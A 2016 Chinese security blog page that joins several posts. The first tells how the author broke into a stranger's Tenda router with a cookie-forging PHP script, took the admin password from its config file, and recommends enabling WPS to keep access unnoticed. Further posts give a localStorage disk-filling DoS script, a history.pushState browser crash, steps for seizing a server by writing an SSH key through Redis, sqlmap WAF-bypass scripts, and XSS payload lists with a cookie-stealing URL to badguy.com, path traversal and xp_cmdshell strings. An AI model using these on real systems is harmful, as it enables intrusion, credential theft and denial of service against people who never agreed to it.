实测绕过腾达某型号路由器后台登陆认证,获得管理权限 技术文章

刚好今天住的地方网络出了问题,就打开手机随便搜索了一下附近的wifi,发现有个可以用钥匙链接,毫不犹豫地连接上去,故事就此展开了:

习惯性地在连接上陌生wifi后进一下后台,用浏览器打开网关,来到这个页面:http://192.168.0.1/login.asp点击查看原图

一看,感觉好眼熟啊,这个和之前在乌云看到的那个腾达漏洞很相似啊,为了验证一下,F12后切换到Network选项卡下面,重新请求一遍,发现从首页index.asp 301 跳转到 login.asp ,而且没有cookies,那么是否是真的是那个漏洞呢?利用php的curl写了个简单的脚本:

<?php 
echo "找到路由的备份文件就好了,密码就在里面。腾达的备份文件是RouterCfm.cfg。在工具的地址栏输入:http://192.168.0.1/cgi-bin/DownloadCfg/RouterCfm.cfg,然后点获取当前地址源码。http_passwd就是登陆密码".'<br>';
$headers = array(
    // 'GET /index.asp HTTP/1.1',
    'Host: 192.168.0.1',
    'Cookie: admin:language=cn;',

);
$url='http://192.168.0.1/index.asp';
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 120);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
 ?>


运行后的结果如下:

点击查看原图

从图上看,基本上可以判断是成功了得,再ctrl+u :点击查看原图

开始很纳闷,为啥没有宽带账号/密码,初步判断是静态IP或者是动态获取IP,从图中可以看到wifi密码是八个8--88888888 ,把配置文件下载下来后就可以看到后台的登陆密码了:

5.png

http_passwd=后面的就是路由器后台登陆密码,当然,你也可以不下载配置文件,直接在后台修改登录密码,但是这样容易被路由器的所有者发现,不建议这样做,进入路由后,如果有wps功能,请帮他打开,哈哈,这样即使他改了密码,你通过wps还是很可以轻松的拿到密码---拿下路由器。更多的关于拿下路由器后的各种姿势,请看这篇文章:破解了你的路由密码后,我还可以这样做,绝对不是蹭你网这么简单

      这个漏洞在13年的时候就出来了,而且还有很多成品工具可以一键破解,可是这些厂家和我们的人民 没有多少安全意识,特别是在公共场合的wifi,朋友们在使用的时候,一定要注意,别在这些场所进行资金操作,或者是与个人隐私相关的操作,因为,谁也不知道咋某个角落是否有一个骇客正在监听或者嗅探 or 钓鱼呢? OK ,


admin 发布于  2016-4-28 16:36 

发个福利,用了好久的云签到,一百个邀请码 免费资源

百度云签到,用了几个月了,都差点忘了现在拿出来给大家免费使用,让它发挥一下余热 :)

为了防止恶意注册,开启了邀请码注册机制,这里先放一百个邀请码,先到先得,一个邀请码只能使用一次

0IVRtdEXUxZtnZn1Vq
7qqfkKEE0gNjFNEFY7
pPufNfxWG5RMeGW8GA
erbFPgKnk82WexXUKw
AE35m0uWIhEZ5aFzVg
Eo7Q7AvDsu9blrHMzC
tYnRHt8scVMHMygq3F
iJzfXGmWbhVEwgdcfL
m2QTjeOq9f2O6WFIyM
euDBJCQ1g96FyiOuCo
QwtGR6ArEhBW2t2sjd
XnlZ9IwV3ncUtQBvjk
09cFNnhDw5OR4m4vPg
hFpFnuiwQz0kr3e9Th
FMsepG4omhkxV6Tjsd
SJ7p6HcDJXvWc1TW4P
TRgTKVI8s020GYQkQm
hHylnzS0wuvuy1CZ3e
2Zuw5cYkrxNcxitt5I
5iR9jEji5Yh5jK3yNV
GPMHkfUcvH3176UvcF
OmbpSVcYj9uQ68LqQr
xsWgiY5PH6iuzrBYbM
uAERleFk0XlC0XMI2Y
RGsfNVouM2aUDNunIJ
K76iXrARHxiAKaRl8M
GZjvEo4luvOjUUrVWF
qY4b41S3Iw0nE9QDyh
Z5YBkrSjl34r9TI4lm
t3yLu8GiCxLlX20cZB
SAUpVBvcSpLaEMjSNn
g66UO0tKkcrw8EGUBz
WcLGYG6f0XpwpogfvN
bafneYHDJR1woTdnWF
A6JBoRuuX7uuUF0gug
m0HjOwJqhgWRDN8DS3
ypkAkWEdg2eflsZBmw
k906Rs0Yy89x5eMu9c
QFVLuYag6K7HPbNqCu
iPb8ZP7jrtvhx68BjD
2tDWQfuFi1YmbCe05q
LWubfo7DMa0LjOtSyE
DVMnSvQHw15tjMBfhp
ZWi7JrRMLqrvKB9cYh
fNNoWjv0vME3E6AYN7
YwA1Fs4M79amwt0f7L
I49SNT36Ug6jyx2tOJ
nFHWo8zMYycv9RjFus
fvHJx0lBHeyGINWvTP
2CgEAcwF1obk89DI9a
9NunLJzczrjnD982qS
VUghIMk6m9GIhHssnt
gKtSCcqeTPtibguG2B
ik8AeFbDuNZobjfmgT
CiYY88rSGiGnsupnTo
3HaU75e7R1zEbC7Td2
4NDOgK6hbOn2JnsJ7w
Rti1KSbsTcYvixyrkn
Ir5TPMynkJxzNxwfwv
pJPeukySPi0Q0cMLHk
TUnRDBYKdlRT46GrTU
tRRHFGT9gGBMcjdTzs
IAo0Tm3IUc0SIeclBc
YVXIIVhrtG86IA6zFC
4iuiBDDYGKNSWonqts
A9cUSXqFiR54wyYD09
68Z5dN3o9tgBV5xjRH
VYSfLg1teq5oyJnCmg
fyocw2erS5R68uRnhj
xuZLdUYBJTnQ8TEd9r
v9Udx8X4ErhYxnu5N5
ZdDNGzVLtubVDhgAjC
Sv4C87HZhjT0Bgsx4y
Bj816MoHpTgi26EwNf
cHbz6gqfpGLINUSRH5
3k1GFXyYiwYAyi7qXF
5pPvhwDX4PHUiUg7X0
mCQLyQ56vVGTHdnw82
RST9dCyO9kVerC40AM
g6bYw4vp2aH4GbJmcd
UhkDqvw5ZHIhEvIZgd
R5ynh2F9DR0uifJ0qm
lxRnqWT62bomqtzarl
lF4N4mfRPkauKRQxd8
hv5Gokb4YnMaDZ6dBy
p5L5Sf889jhnLz1ow8
C8FNaEO2VecTBjx2Dr
wTDJC9uiLRoSBEDxVy
htlz9q0iPrDFvlWhws
qQlg7BDp7hIsYXzOgG
2xOlZtNp3YkVeGRzAH
JbKnwCr1RJasoAHO2h
lnTtG0eWjufLNEjA6A
KhIxVJH08NPiVeLrLA
TJlJ3fDpPVC5Om4nn7
xsNni0rM4GP94S7QxH
BZlhFyHKDomdYRIdVf
pmOYX4jln6r3PMVsXa
LZBHK1y0Ie9z8lCkdL
4CWKvp5CQUDjul0Xnf
大家可以放心使用哈,自己也在用,禁止用于商业,一经发现,一律永久封禁账号和ip。

标签: 分享

admin 发布于  2016-4-26 16:47 

算法学习之处-运用基本的逻辑与数学知识进行简单的循环遍历 代码人生

假设有这么一道数学题:

求第2333个能被2或者被3整除的正整数是…?

举例:(被2或者被3整除的正整数依次是:2,3,4,6,8,9,10,12,14,15,16,18…)

我们也可以使用最基本的数学方法来算:0.png

这个时候,数字比较大,用数学的方法就比较吃力费时了,当然,不排除你是个牛人。运算速度超常人,可以不用往下看了,渣渣 -_-|| 颤抖吧!

首先是来看看PHP版:

<?php 
function getResult($times){

        $i    =    0;
        $n    =    1;

        while(true){
            if(!($n%2) || !($n%3)){
                $i++;

                if($i == $times){
                    return $n;
                }
            }

            $n++;
        }
    }

    echo getResult(2333);
?>
然后看看Java版:

public class Main
    {
        public static void main(String[] args)
        {
            int cnt=0,num=1;
            while(true)
            {
                if(num%2==0||num%3==0)cnt++;
                if(cnt==2333)break;
                num++;
            }
            System.out.println(num);
        }
    }

Python版本:

[i for i in range(0,8000) if not(i%2 and i%3)][2333]
再看看C++:

//O(1)复杂度,不解释 
#include <iostream>
using namespace std;

bool Check(int m, int n){
    if(m%2 ==0 || m%3 == 0){
        return m/2 + m/3 - m/6 ==n;
    }
    return false;
}

int Get(int n){
    int top = (n-3)/4*6;
    while(!Check(top, n))//最多循环10次
        ++top;
    return top;
}

int main(){
    cout<<Get(2333)<<endl;
}

还有Go语言版本:

func main() {
    var x int
    c := 2333
    //c = x/2+ x/3-x/6==>x=2*c/3 + c%2
    x = 3*c/2 + c%2
    fmt.Println(x)
}
javascript版本:

var arr = [];
    var a = 0;
    while(arr.length < 2334) {
        a++;
        if (a % 3 == 0 || a % 2 == 0) {
            arr.push(a);
        }
    }
    console.log(arr[2332]);
php版本呢,我自己还写了个利用数组的方法:

把成立的结果放在数组里(把范围限制在4000以下,不然一直循环下去没完没了-_-|),key按照自增排列,最后foreach遍历,遍历到key值为2333是停止遍历并且把结果输出,但是这个方法貌似很不好,只是本人确实水平不好,正在学习中...哈哈下次再见。


admin 发布于  2016-4-22 11:53 

作为一个前端,可以如何机智地弄坏一台电脑? 代码人生

有人说,前端的界限就在浏览器那儿。

无论你触发了多少bug,最多导致浏览器崩溃,对系统影响不到哪去。
这就像二次元各种炫酷的毁灭世界,都不会导致三次元的世界末日。
然而,作为一个前端,我发现是有方式打开次元大门的…

这个实验脑洞较大,动机无聊,但某种意义上反映了一些安全问题
想象一下,有天你在家里上网,吃着火锅还唱着歌,点开一个链接,电脑突然就蓝屏了!想想还真有点小激动。

起因

故事得从localStorage说起。

html5的本地存储,相信大家都不陌生。将数据以二进制文件形式存储到本地,在当前应用得非常广泛。
windows下的chrome,localStorage存储于C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Local Storage文件夹中。但如果任由网页无限写文件,对用户硬盘的伤害可想而知,因而浏览器对其做了大小限制。

对于一个域名+端口,PC侧的上限是5M-10M之间,移动侧是则不大于2.5M。

那么问题就变成:这样的限制足够保护用户硬盘了吗

关键

关键的问题在于,这一限制,针对的是一个域名+端口
也就是说,你访问同一个域名的不同端口,它们的localStorage并无关联,是分开存储的。

我用node简单地开启了服务器,这时,用户访问http://127.0.0.1:1000http://127.0.0.1:1099这100个端口,会请求到同一个页面:index.html

var http = require('http');
var fs = require('fs');

//100个端口
for(var port = 1000; port< 1100; port++){
  http.createServer(function (request, response) {
    //请忽略这种循环读文件的方式,只为了简便
    fs.readFile('./index.html', function(err, content){
      if(err) {
      } else {
        response.writeHead(200, { 'Content-Type' : 'text/html; charset=UTF-8' });
        response.write(content);
        response.end();
      }
    });
  }).listen(port, '127.0.0.1');
}

当然,这个index.html里涉及了localStorage写操作。

var s = "";
//慢慢来,别写太大了,好害怕…
for(var i=0; i< 3 * 1024 * 1024; i++){
  s += "0";
}
localStorage.setItem("testData", s);

我试着用浏览器分别访问了几个端口,结果是分开存储。一切跟剧本一样。

自动遍历

但这种程度还不够。
如果要实验变得更好(xie)玩(e)一些,问题就变成如何让用户自动遍历这些端口

iframe是个好的尝试。
只要一打开http://127.0.0.1: 1000,页面的脚步就会创建一个iframe,去请求http://127.0.0.1: 1001,一直循环下去。

var Main = (function(){
  var _key = "testData";
  var _max = 1100; //最大限制
  return {
    init: function(){
      //慢慢来,别写太大了,好害怕…
      var s = "";
      for(var i=0; i< 3 * 1024 * 1024; i++){
        s += "0";
      }
      localStorage.setItem(_key, s);

      var port = parseInt(location.port)+1;
      if(port > _max) return;

      //新添加iframe
      var url = "http://127.0.0.1:" + port;
      var $iframe = document.createElement("iframe");
      $iframe.src = url;
      document.getElementsByTagName("body")[0].appendChild($iframe);
    }
  }
})();

当然iframe我们还可以设置为不可见,以掩盖这种不厚道的行为…
比方说,有人发给你一个链接,你打开后发现是个视频,而你根本注意不到背后的脚本,在视频播放的几分钟里,快要把你的C盘写满。

然后我就看到请求如潮水渐涨:

localstorage1.png

 

 

但是,请求到1081端口,最新的chrome就崩溃掉了…原来iframe嵌套太多,已经到达了浏览器的极限。

防止浏览器崩溃

C盘还未撑满,同志还需努力。怎么办?

突然想到,到达iframe极限之前,我们可以重定向啊。
每访问50个端口,就使用window.location.href重定向一次,去确保浏览器不崩溃。

var Main = (function(){
  var _key = "testData";
  var _max = 1200; //最大限制
  var _jumpSpace = 50; //为避免iframe过多导致浏览器crash,每50个执行跳转

  return {
    init: function(){
      //慢慢来,别写太大了,好害怕…
      var s = "";
      for(var i=0; i< 3 * 1024 * 1024; i++){
        s += "0";
      }
      localStorage.setItem(_key, s);

      var port = parseInt(location.port)+1;
      if(port > _max) return;

      if(port % _jumpSpace == 0){
        //每50个,重定向一次
        window.location.href = url;
      }else{
        //新添加iframe
        var $iframe = document.createElement("iframe");
        $iframe.src = url;
        document.getElementsByTagName("body")[0].appendChild($iframe);
      }
    }
  }
})();

事实证明,这种蛮拼的方法的确可行。

至此,只要访问http://127.0.0.1: 1000,就会往Local Storage文件夹里写入近500M无用数据:

localstorage3.png

 

里面的数据是这样的:

localstorage2.png

 

继续实验的黑科技

算了下我的C盘还有空间嘛,那就把端口数量从100增长到200个。
结果是这样的,到达了1.17G大小。

localstorage4.png

 

 

在后续的实验中,我就慢慢的把端口数量与存储的数据调大。

电脑也运行得越来越慢。这是为什么呢?

我观察到,有时候执行localStorage.setItem()后,在文件夹里不一定立即能看到数据文件。
怀疑这些数据会被chrome先放到内存里,以避免重复读写带来的消耗,在空闲或关闭的时机,再写进硬盘里。

但此时,浏览器已经影响到系统了。它处于一种“不会崩溃”,但“因为占用了许多内存,已经妨碍用户电脑的正常使用”的状态。
即使用户关闭了浏览器窗口,也不会很快恢复。要知道读写任务并不是随窗口关闭而终止的,否则浏览器会丢失数据。

遭遇黑科技的人们能做的只有:

  1. 等待;
  2. 用任务管理器关掉chrome进程,再等待;
  3. 相信并尝试“重启电脑解决90%电脑问题”的科学论断

可以说,浏览器的内心几乎是崩溃的。

最后

最后,还是得用严肃脸告诫一下:害人之心不可有。
本实验,从一开始就是怀揣着将安全问题上交给国家的初衷去做的(是的就是这么纯粹)。

后续,看着C盘还有2G空间,我又把端口增长到2000个,试下会发生什么。
由于请求过多,需要一定时间,我就去做别的事情了。
回来后发现房间安静祥和,美轮美奂,一片蓝光,像是加了特技。localstorage5.png

那么问题来了,计算机修理哪家强?
有点急…

原文地址:http://litten.github.io/2015/07/06/hack-in-localstorage/

 


admin 发布于  2016-4-19 10:31 

通过redis入侵服务器的步骤 渗透测试

通过redis入侵服务器的原理是:利用了redis默认配置,许多用户没有设置访问的key。然后通过向redis把自己的公钥写入到redis,然后利更改redis的数据库文件配置,把数据写入到认证文件。形成免密码登陆。

一,生成本地ssh公钥


ssh-keygen

二,先连接redis看看



telnet 192.168.15.10 6379
redis-cli -h 192.168.15.10

三, 清一下redis数据库


redis-cli -h 192.168.15.10 flushall

四, 向redis写自己的公钥


catkey.txt |redis-cli -h 192.168.15.10 -xsetredis

五, 利用redis写入到文件中












#连接redis
#redis-cli -h 192.168.15.10
#查看keys
192.168.15.10>keys *
#写入配置库的路径及存放位置
192.168.15.10>CONFIG SETdir/root/.ssh/
#写入配置库名称及存放的名字
192.168.15.10>CONFIG SET dbfilename"authorized_keys"
#写入
192.168.15.10>save
#退出
192.168.15.10>exit

六, 远程连接

注意,这个是使用的默认的。也就是说别人是用的root来启动的redis 并且没有更改sshd配置文件的位置,以及redis可以默认的可以随意访问性的。当然有许多可以猜。

这个是最近redis爆出来的。


admin 发布于  2016-4-18 18:40 

HTML5新特性Bug:这12行代码分分钟让你浏览器崩溃iPhone重启 代码人生

使用这十二行JavaScript代码能让firefox、chrome、safari等众多浏览器崩溃,甚至让iPhone重启?!


起因

今天刷推特的时候发现Cyber Security@cyber__sec的推文让人眼前一亮:

Crash firefox, chrome, safari browsers, and also restart iPhone using this javascript code. #dos #0day #exploit
//使用下面这段JavaScript代码能让firefox,chrome,safari浏览器崩溃,而且还能让iPhone重启。

2016-04-17 14_04_54.png


完整HTML代码如下:


<html>
<body>
<script>
var total="";
for (var i=0;i<1000000;i++)
{
    total= total+i.toString();
    history.pushState(0,0,total);
}
</script>
</body>
</html>

demo:(温馨提示:请保存浏览器其它窗口的编辑任务)


http://api.mrxn.net/demo.html  (点击一下,又不会怀孕!)


接来下会发生什么?

点开以后,我的状态是这样的:

14532972774931.gif

如果你是PC端用户,点开链接以后,电脑CPU内存极有可能一路狂飙直至浏览器崩溃卡死!

如果你是移动端(安卓、iPhone)用户,点开链接以后你的浏览器会闪退!在微博、微信客户端点开链接同样会闪退。至于在推文中提到的让iPhone重启,这一现象倒是没有出现。22:49 修正:iPhone用Safari打开之后链接之后,手机注销重启了!…

思考

这是Bug还是0day?为什么会有这一现象?如何实现的?

有哪些比较有意思的利用姿势?(我先来个:当在执行MITM中间人攻击的时候,可以注入这一段js,来个恶搞整蛊。然后都懂的...)

欢迎大家在评论中发表自己的观点 



admin 发布于  2016-4-17 13:59 

SQLMAP tamper WAF 绕过脚本列表注释 网络安全

sqlmap的tamper目录下有41个用于绕过waf的脚本,网上有文章简要介绍过使用方法,但是只是简单说了其中少数几个的作用。本人通过这41个脚本的文档注释,将它们每一个的作用简单标记了一下,还是像之前一样,先 google translate 再人工润色。其实,文档注释里面都有例子,看一眼就大概知道效果了,比看文字描述速度还快,只不过要用的时候现场翻看还是太麻烦了。我这个列表可以给大家提供参考,来更迅速的定位自己需要的脚本。

本人英文阅读能力有限,有个别词句(其实就2处)实在拿捏不准该如何翻译,就把英文照搬过来了。另外,虽然下了不少功夫翻译和校对,但自认为错误在所难免,大家有发现我翻译错误的,请指出来,谢谢大家。

01. apostrophemask.py 用UTF-8全角字符替换单引号字符

02. apostrophenullencode.py 用非法双字节unicode字符替换单引号字符

03. appendnullbyte.py 在payload末尾添加空字符编码

04. base64encode.py 对给定的payload全部字符使用Base64编码

05. between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”

06. bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”

07. chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)

08. charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)

09. charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)

10. concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例

11. equaltolike.py 用“LIKE”运算符替换全部等于号“=”

12. greatest.py 用“GREATEST”函数替换大于号“>”

13. halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释

14. ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例

15. lowercase.py 用小写值替换每个关键字字符

16. modsecurityversioned.py 用注释包围完整的查询

17. modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询

18. multiplespaces.py 在SQL关键字周围添加多个空格

19. nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器

20. overlongutf8.py 转换给定的payload当中的所有字符

21. percentage.py 在每个字符之前添加一个百分号

22. randomcase.py 随机转换每个关键字字符的大小写

23. randomcomments.py 向SQL关键字中插入随机注释

24. securesphere.py 添加经过特殊构造的字符串

25. sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs

26. space2comment.py 用“/**/”替换空格符

27. space2dash.py 用破折号注释符“--”其次是一个随机字符串和一个换行符替换空格符

28. space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符

29. space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符

30. space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符

31. space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符

32. space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符

33. space2mysqldash.py 用破折号注释符“--”其次是一个换行符替换空格符

34. space2plus.py 用加号“+”替换空格符

35. space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符

36. unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”

37. unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符

38. varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF

39. versionedkeywords.py 用MySQL注释包围每个非函数关键字

40. versionedmorekeywords.py 用MySQL注释包围每个关键字

41. xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF


admin 发布于  2016-4-13 19:13 

结合自己的实际经历说说WEB安全之XSS是如何发生的又如何预防 代码人生

定义(来自百度百科):

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。

XSS的工作流程大致如下(图片来自网络):3.jpg

下面先看看我自己测试的XSS场景效果,当然怀有恶意的XSS是不会让你看见的:1.png

这是获取一个网站管理员的cookies

点击查看原图

这是测试弹出一句话,当然也可以是其他js代码,读取cookies存到一个地方,跳转到钓鱼网站,或者是劫持你的浏览器等等。

下面就具体的分析一下是如何形成并且发生的:


假如有下面一个textbox

<input type="text" name="address1" value="value1from">

value1from是来自用户的输入,如果用户不是输入value1from,而是输入 "/><script>alert(document.cookie)</script><!- 那么就会变成

<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">

嵌入的JavaScript代码将会被执行

或者用户输入的是  "onfocus="alert(document.cookie)      那么就会变成 

<input type="text" name="address1" value="" onfocus="alert(document.cookie)">

 事件被触发的时候嵌入的JavaScript代码将会被执行

 攻击的威力,取决于用户输入了什么样的脚本 

当然用户提交的数据还可以通过QueryString(放在URL中)和Cookie发送给服务器. 例如下图

4.png


XSS之所以会发生, 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的"中括号", “单引号”,“引号” 之类的特殊字符进行编码。5.jpg

在C#中已经提供了现成的方法,只要调用HttpUtility.HtmlEncode("string <scritp>") 就可以了。  (需要引用System.Web程序集)
Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮
6.png

XSS 攻击场景


1. Dom-Based XSS 漏洞 攻击过程如下


Tom 发现了Victim.com中的一个页面有XSS漏洞,


例如: http://victim.com/search.asp?term=apple


服务器中Search.asp 页面的代码大概如下

<html>
  <title></title>
  <body>
    Results  for  <%Reequest.QueryString("term")%>
    ...
  </body>
</html>


Tom 先建立一个网站http://badguy.com,  用来接收“偷”来的信息。

然后Tom 构造一个恶意的url(如下), 通过某种方式(邮件,QQ)发给Monica

http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

Monica点击了这个URL, 嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行. 那么Monica在victim.com网站的cookie, 就会被发送到badguy网站中。这样Monica在victim.com 的信息就被Tom盗了.


2. Stored XSS(存储式XSS漏洞), 该类型是应用广泛而且有可能影响大Web服务器自身安全的漏洞,攻击者将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄露的可能。 攻击过程如下


Alex发现了网站A上有一个XSS 漏洞,该漏洞允许将攻击代码保存在数据库中,


Alex发布了一篇文章,文章中嵌入了恶意JavaScript代码。


其他人如Monica访问这片文章的时候,嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行,其会话cookie或者其他信息将被Alex盗走。


Dom-Based XSS漏洞威胁用户个体,而存储式XSS漏洞所威胁的对象将是大量的用户.

XSS 漏洞修复



原则: 不相信客户输入的数据

注意:  攻击代码不一定在<script></script>中

  1. 将重要的cookie标记为http only,   这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
  2. 只允许用户输入我们期望的数据。 例如: 年龄的textbox中,只允许用户输入数字。 而数字之外的字符都过滤掉。
  3. 对数据进行Html Encode 处理
  4. 过滤或移除特殊的Html标签, 例如: <script>, <iframe> ,  &lt; for <, &gt; for >, &quot for
  5. 过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。
  6. 使用第三方防护产品,比如各种云加速都有waf,百度云,阿里云,知道创宇云,或者是网站防护软件,安全狗,D盾,360网站、主机卫士等等,在这里就不一一列举,请大家自行测试吧。

如何测试XSS漏洞?


方法一:  查看代码,查找关键的变量,   客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单,以及cookie.  例如在ASP的程序中,通过Request对象获取客户端的变量


<%
strUserCode =  Request.QueryString(“code”);
strUser =  Request.Form(“USER”);
strID =    Request.Cookies(“ID”);
%>

假如变量没有经过htmlEncode处理, 那么这个变量就存在一个XSS漏洞

方法二: 准备测试脚本,

"/><script>alert(document.cookie)</script><!--
<script>alert(document.cookie)</script><!--
"onclick="alert(document.cookie)

在网页中的Textbox或者其他能输入数据的地方,输入这些测试脚本, 看能不能弹出对话框,能弹出的话说明存在XSS漏洞


在URL中查看有那些变量通过URL把值传给Web服务器, 把这些变量的值退换成我们的测试的脚本。  然后看我们的脚本是否能执行


方法三:  自动化测试XSS漏洞

现在已经有很多XSS扫描工具了。 实现XSS自动化测试非常简单,只需要用HttpWebRequest类。 把包含xss 测试脚本。发送给Web服务器。 然后查看HttpWebResponse中,我们的XSS测试脚本是否已经注入进去了。

附上一些常用的XSS测试代码:


"/><script>alert("测试一下,哈哈")</script><!-
‘><script>alert(document.cookie)</script>
=’><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert(‘XSS’)%3C/script%3E
<script>alert(‘XSS’)</script>
<img src=”javascript:alert(‘XSS’)”>
%0a%0a<script>alert(\”Vulnerable\”)</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
%3f.jsp
%3f.jsp
<script>alert(‘Vulnerable’);</script>
<script>alert(‘Vulnerable’)</script>
?sql_debug=1
a%5c.aspx
a.jsp/<script>alert(‘Vulnerable’)</script>
a/
a?<script>alert(‘Vulnerable’)</script>
“><script>alert(‘Vulnerable’)</script>
‘;exec%20master..xp_cmdshell%20’dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt’–&&
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document. domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
http://www.testsite.com/http://www.testsite.com/http://www.testsite.com/http://www.testsite.com/etc/passwd
..\..\..\..\..\..\..\..\windows\system.ini
\..\..\..\..\..\..\..\..\windows\system.ini
”;!–“<XSS>=&{()}
<IMG src=”javascript:alert(‘XSS’);”>
<IMG src=javascript:alert(‘XSS’)>
<IMG src=JaVaScRiPt:alert(‘XSS’)>
<IMG src=JaVaScRiPt:alert(“XSS”)>
<IMG src=javascript:alert(‘XSS’)>
<IMG src=javascript:alert(‘XSS’)>
<IMG src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG src=”jav ascript:alert(‘XSS’);”>
<IMG src=”jav ascript:alert(‘XSS’);”>
<IMG src=”jav ascript:alert(‘XSS’);”>
“<IMG src=java\0script:alert(\”XSS\”)>”;’ > out
<IMG src=” javascript:alert(‘XSS’);”>
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
<BODY ONLOAD=alert(‘XSS’)>
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
<BGSOUND src=”javascript:alert(‘XSS’);”>
<br size=”&{alert(‘XSS’)}”>
<LAYER src=”http://www.testsite.com/a.js”></layer>
<LINK REL=”stylesheet” href=”javascript:alert(‘XSS’);”>
<IMG src=’vbscript:msgbox(“XSS”)’>
<IMG src=”mocha:”>
<IMG src=”livescript:”>
<META HTTP-EQUIV=”refresh” CONTENT=”0;url=javascript:alert(‘XSS’);”>
<IFRAME src=javascript:alert(‘XSS’)></IFRAME>
<FRAMESET><FRAME src=javascript:alert(‘XSS’)></FRAME></FRAMESET>
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
<DIV STYLE=”behaviour: url(‘http://www.testsite.org/exploit.html’);”>
<DIV STYLE=”width: expression(alert(‘XSS’));”>
<STYLE>@im\port’\ja\vasc\ript:alert(“XSS”)’;</STYLE>
<IMG STYLE=’xss:expre\ssion(alert(“XSS”))’>
<STYLE TYPE=”text/javascript”>alert(‘XSS’);</STYLE>
<STYLE TYPE=”text/css”>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A class=”XSS”></A>
<STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
<BASE href=”javascript:alert(‘XSS’);//”>
getURL(“javascript:alert(‘XSS’)”)
a=”get”;b=”URL”;c=”javascript:”;d=”alert(‘XSS’);”;eval(a+b+c+d);
<XML src=”javascript:alert(‘XSS’);”>
“> <BODY ONLOAD=”a();”><SCRIPT>function a(){alert(‘XSS’);}</SCRIPT><“
<SCRIPT src=”http://xss.ha.ckers.org/xss.jpg”></SCRIPT>
<IMG src=”javascript:alert(‘XSS’)”
<!–#exec cmd=”/bin/echo ‘<SCRIPT SRC'”–><!–#exec cmd=”/bin/echo ‘=http://xss.ha.ckers.org/a.js></SCRIPT>'”–>
<IMG src=”http://www.testsite.com/somecommand.php?somevariables=maliciouscode”>
<SCRIPT a=”>” src=”http://www.testsite.com/a.js”></SCRIPT>
<SCRIPT =”>” src=”http://www.testsite.com/a.js”></SCRIPT>
<SCRIPT a=”>” ” src=”www.testsite.com/a.js”></SCRIPT>
<SCRIPT “a=’>'” src=”www.testsite.com/a.js”></SCRIPT>
